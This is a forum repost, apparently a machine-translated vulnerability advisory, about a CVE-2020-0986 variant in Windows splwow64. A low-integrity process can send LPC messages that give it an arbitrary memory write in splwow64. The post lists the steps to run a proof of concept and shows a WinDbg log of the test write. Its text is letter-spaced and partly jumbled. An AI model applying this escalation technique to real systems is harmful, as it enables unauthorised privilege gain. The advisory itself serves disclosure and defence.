搜索

[20425] 2020-12-24_CVE-2020-0986WindowssplWOW64权限提升

文档创建者：s7ckTeam
浏览次数：43
最后更新：2025-01-18
2020-12-24_CVE-2020-0986WindowssplWOW64权限提升 C V E - 2 0 2 0 - 0 9 8 6   W i n d o w s :   s p l W O W 6 4   权 限 提 升 K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 1 2 - 2 4 W i n d o w s :   s p l W O W 6 4   权 限 提 升 权 限 提 升 平 台 ： W i n d o w s   1 0   2 0 0 4   ( 1 9 0 4 1 . 5 0 8 )   W i n d o w s   1 0   2 0 0 4   ( 1 9 0 4 1 . 5 0 8 ) 类 。 特 权 的 提 升 摘 要 ： 在 野 外 被 利 用 的 C V E - 2 0 2 0 - 0 9 8 6 [ 1 ] 没 有 被 修 复 。 该 漏 洞 仍 然 存 在 ， 只 是 利 用 方 法 不 得 不 改 变 。 一 个 低 完 整 性 的 进 程 可 以 向 s p l w o w 6 4 . e x e ( 中 等 完 整 性 ) 发 送 L P C 消 息 ， 并 在 s p l w o w 6 4 的 内 存 空 间 中 获 得 一 个 写 什 么 什 么 的 基 元 。 攻 击 者 通 过 m e m c p y 调 用 控 制 目 标 、 复 制 的 内 容 和 复 制 的 字 节 数 。 目 标 指 针 计 算 的 偏 移 量 只 约 束 为 。 偏 移 量 < =   0 x 7 F F F F F F F 偏 移 量 + 结 构 的 感 知 大 小   < =   0 x 7 F F F F F F F S p l w o w 6 4 将 L P C 消 息 传 递 给 G d i P r i n t e r T h u n k 。 脆 弱 的 m e m c p y 在 消 息 0 x 6 D 中 。 与 C V E - 2 0 2 0 - 0 9 8 6 的 唯 一 区 别 是 ， 对 于 C V E - 2 0 2 0 - 0 9 8 6 ， 攻 击 者 发 送 的 是 一 个 指 针 ， 而 现 在 攻 击 者 发 送 的 是 一 个 偏 移 量 。 h t t p s : / / s e c u r e l i s t . c o m / o p e r a t i o n - p o w e r f a l l - c v e - 2 0 2 0 - 0 9 8 6 - a n d - v a r i a n t s / 9 8 3 2 9 / 概 念 验 证 概 念 验 证   附 上 的 是 一 个 将 0 x 4 2 4 2 4 2 4 2 4 2 4 2 4 2 写 入 0 x 4 1 4 1 4 1 4 1 的 P O C 。 附 上 V i s u a l   S t u d i o 项 目 。 它 必 须 以 x 6 4 版 本 的 方 式 构 建 才 能 工 作 。 调 试 构 建 将 无 法 连 接 到 L P C 端 口 。 一 旦 P O C 构 建 完 成 ， 运 行 以 下 命 令 将 其 完 整 性 级 别 设 置 为 低 。 i c a c l s   s p l w o w 6 4 _ p o c . e x e   / s e t i n t e g r i t y l e v e l   L   完 整 性 级 别 。 将 C r e a t e D C . e x e 移 到 与 s p l w o w 6 4 _ p o c . e x e 相 同 的 目 录 中 。 C r e a t e D C . e x e 只 是 一 个 x 8 6 应 用 程 序 ， 它 调 用 C r e a t e D C A 来 启 动 s p l w o w 6 4 . e x e 。 为 了 方 便 起 见 ， 我 还 将 C r e a t e D C . e x e 包 含 在 项 目 的 x 6 4 / R e l e a s e 目 录 下 。 C r e a t e D C A ( " M i c r o s o f t   X P S   D o c u m e n t   W r i t e r " ， " M i c r o s o f t   X P S   D o c u m e n t   W r i t e r " ， 0 ， 0 ) 。 然 后 通 过 点 击 图 标 或 从 c m d 行 运 行 P O C 。 ( 如 果 你 从 V i s u a l   S t u d i o 运 行 ， 它 不 会 找 到 C r e a t e D C . e x e ) ： s p l w o w 6 4 _ p o c . e x e 。 该 P O C 改 编 自 卡 巴 斯 基 发 布 的 C V E - 2 0 2 0 - 0 9 8 6 的 P O C 。 它 两 次 触 发 了 m e m c p y 漏 洞 ： 先 是 泄 露 消 息 存 储 的 堆 地 址 和 偏 移 量 加 到 什 么 地 方 生 成 指 针 ， 然 后 再 进 行 写 什 么 什 么 地 方 。 D e b u g   L o g : B r e a k p o i n t   0   h i t g d i 3 2 f u l l ! G d i P r i n t e r T h u n k + 0 x 6 8 f : 0 0 0 0 7 f f b ` 3 d e 8 a 5 1 f   e 8 e f a f 0 0 0 0             c a l l         g d i 3 2 f u l l ! m e m c p y   ( 0 0 0 0 7 f f b ` 3 d e 9 5 5 1 3 )
参 考 文 献 ： h t t p s : / / b u g s . c h r o m i u m . o r g / p / p r o j e c t - z e r o / i s s u e s / d e t a i l ? i d = 2 0 9 6 h t t p s : / / g o o g l e p r o j e c t z e r o . b l o g s p o t . c o m / p / r c a - c v e - 2 0 2 0 - 0 9 8 6 . h t m l h t t p s : / / s e c u r e l i s t . c o m / o p e r a t i o n - p o w e r f a l l - c v e - 2 0 2 0 - 0 9 8 6 - a n d - v a r i a n t s / 9 8 3 2 9 / h t t p s : / / w w w . a n q u a n k e . c o m / v u l / i d / 2 0 3 5 0 0 5 0 : 0 0 7 >   r r a x = 0 0 0 0 0 0 0 0 0 2 4 e 6 8 1 0   r b x = 0 0 0 0 0 0 0 0 0 2 4 e 6 6 c 0   r c x = 0 0 0 0 0 0 0 0 4 1 4 1 4 1 4 1 r d x = 0 0 0 0 0 0 0 0 0 0 b 2 0 2 0 0   r s i = 0 0 0 0 0 0 0 0 0 0 b 2 0 0 8 8   r d i = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 r i p = 0 0 0 0 7 f f b 3 d e 8 a 5 1 f   r s p = 0 0 0 0 0 0 0 0 0 2 4 5 f 7 6 0   r b p = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1   r 8 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 8     r 9 = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0   r 1 0 = 0 0 0 0 0 f f f 6 3 7 5 5 1 f d r 1 1 = 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0   r 1 2 = 0 0 0 0 7 f f b 1 b a a 8 f e 0   r 1 3 = 0 0 0 0 0 0 0 0 0 0 7 8 5 5 6 0 r 1 4 = 0 0 0 0 0 0 0 0 0 0 7 2 d 2 d 0   r 1 5 = 0 0 0 0 7 f f b 3 d e 6 0 0 0 0 i o p l = 0                   n v   u p   e i   n g   n z   a c   p o   c y c s = 0 0 3 3     s s = 0 0 2 b     d s = 0 0 2 b     e s = 0 0 2 b     f s = 0 0 5 3     g s = 0 0 2 b                           e f l = 0 0 0 0 0 2 9 7 g d i 3 2 f u l l ! G d i P r i n t e r T h u n k + 0 x 6 8 f : 0 0 0 0 7 f f b ` 3 d e 8 a 5 1 f   e 8 e f a f 0 0 0 0             c a l l         g d i 3 2 f u l l ! m e m c p y   ( 0 0 0 0 7 f f b ` 3 d e 9 5 5 1 3 ) 0 : 0 0 7 >   d p   r d x 0 0 0 0 0 0 0 0 ` 0 0 b 2 0 2 0 0     4 2 4 2 4 2 4 2 ` 4 2 4 2 4 2 4 2   0 0 0 0 0 0 0 0 ` 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ` 0 0 b 2 0 2 1 0     0 0 0 0 0 0 0 0 ` 0 0 0 0 0 0 0 0   0 0 0 0 0 0 0 0 ` 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ` 0 0 b 2 0 2 2 0     0 0 0 0 0 0 0 0 ` 0 0 0 0 0 0 0 0   0 0 0 0 0 0 0 0 ` 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ` 0 0 b 2 0 2 3 0     0 0 0 0 0 0 0 0 ` 0 0 0 0 0 0 0 0   0 0 0 0 0 0 0 0 ` 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ` 0 0 b 2 0 2 4 0     0 0 0 4 0 0 0 4 ` 0 0 0 0 0 0 0 0   0 0 0 0 0 0 0 0 ` 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ` 0 0 b 2 0 2 5 0     0 0 0 0 0 0 0 0 ` 0 0 0 0 0 0 0 0   0 0 0 0 0 0 0 0 ` 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ` 0 0 b 2 0 2 6 0     0 0 0 0 0 0 0 0 ` 0 0 0 0 0 0 0 0   0 0 0 0 0 0 0 0 ` 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ` 0 0 b 2 0 2 7 0     0 0 0 0 0 0 0 0 ` 0 0 0 0 0 0 0 0   0 0 0 0 0 0 0 0 ` 0 0 0 0 0 0 0 0 0 : 0 0 7 >   g ( 3 2 6 8 . 2 e 8 8 ) :   A c c e s s   v i o l a t i o n   -   c o d e   c 0 0 0 0 0 0 5   ( f i r s t   c h a n c e ) F i r s t   c h a n c e   e x c e p t i o n s   a r e   r e p o r t e d   b e f o r e   a n y   e x c e p t i o n   h a n d l i n g . T h i s   e x c e p t i o n   m a y   b e   e x p e c t e d   a n d   h a n d l e d . u c r t b a s e ! m e m c p y + 0 x 8 b : 0 0 0 0 7 f f b ` 3 e 3 e 8 3 6 b   4 8 8 9 0 8                     m o v           q w o r d   p t r   [ r a x ] , r c x   d s : 0 0 0 0 0 0 0 0 ` 4 1 4 1 4 1 4 1 = ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理